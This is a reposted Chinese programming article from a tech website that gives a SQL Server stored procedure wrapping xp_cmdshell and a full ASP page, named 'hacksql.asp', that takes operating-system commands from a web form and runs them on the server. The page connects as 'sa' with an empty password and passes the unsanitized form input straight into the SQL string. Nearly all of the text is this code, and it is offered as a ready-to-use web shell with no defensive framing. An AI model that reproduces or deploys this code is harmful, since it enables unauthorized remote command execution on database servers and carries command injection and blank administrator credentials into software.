当前位置: 移动技术网 > IT编程>开发语言>.net > 利用sql的存储过程实现dos命令的asp程序

利用sql的存储过程实现dos命令的asp程序

2018年12月29日  | 移动技术网IT编程  | 我要评论

钓鱼调漂技巧,磁翻柱液位计,3u8886

1、首先在sql里面你能够访问的里面建立存储过程,比如说:ddy
如下:
create procedure ddy
@cmd varchar(50)
as
exec master..xp_cmdshell @cmd
2、程序里如下:(hacksql.asp)
<%
cmd=trim(request.form("cmd"))
if cmd<>"" then
work()
else
show()
end if
function work()
set conn=server.createobject("adodb.connection")
set rs=server.createobject("adodb.recordset")
conn.open "xx","sa",""
sql="exec ddy "&cmd&""

rs.open sql,conn
if not rs.eof then
do while not rs.eof
response.write "<pre>"&htmlencode2(trim(rs(0)))&"</pre>"
rs.movenext
loop
else
response.write "no"
end if
if rs.state=1 then rs.close
set rs=nothing
conn.close
set conn=nothing
end function
function show()
%>
<form action=hacksql.asp method=post>
请输入dos命令:<input type=text name=cmd>
<input type=submit value="ok">
</form>
<%
end function
function htmlencode2(str)--------转换函数(为了显示时比较工整)
dim result
dim l
if isnull(str) then
htmlencode2=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ">"
result=result+">"
case chr(34)
result=result+"""
case "&"
result=result+"&"
case chr(13)
result=result+"<br>"
case chr(9)
result=result+" "
case ""
result=result+"’"
case chr(32)
result=result+" "
if i+1<=l and i-1>0 then
if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then
result=result+" "
else
result=result+" "
end if
else
result=result+" "
end if
case else
result=result+mid(str,i,1)
end select
next
htmlencode2=result
end function
%>

如对本文有疑问,请在下面进行留言讨论,广大热心网友会与你互动!! 点击进行留言回复

相关文章:

验证码:
移动技术网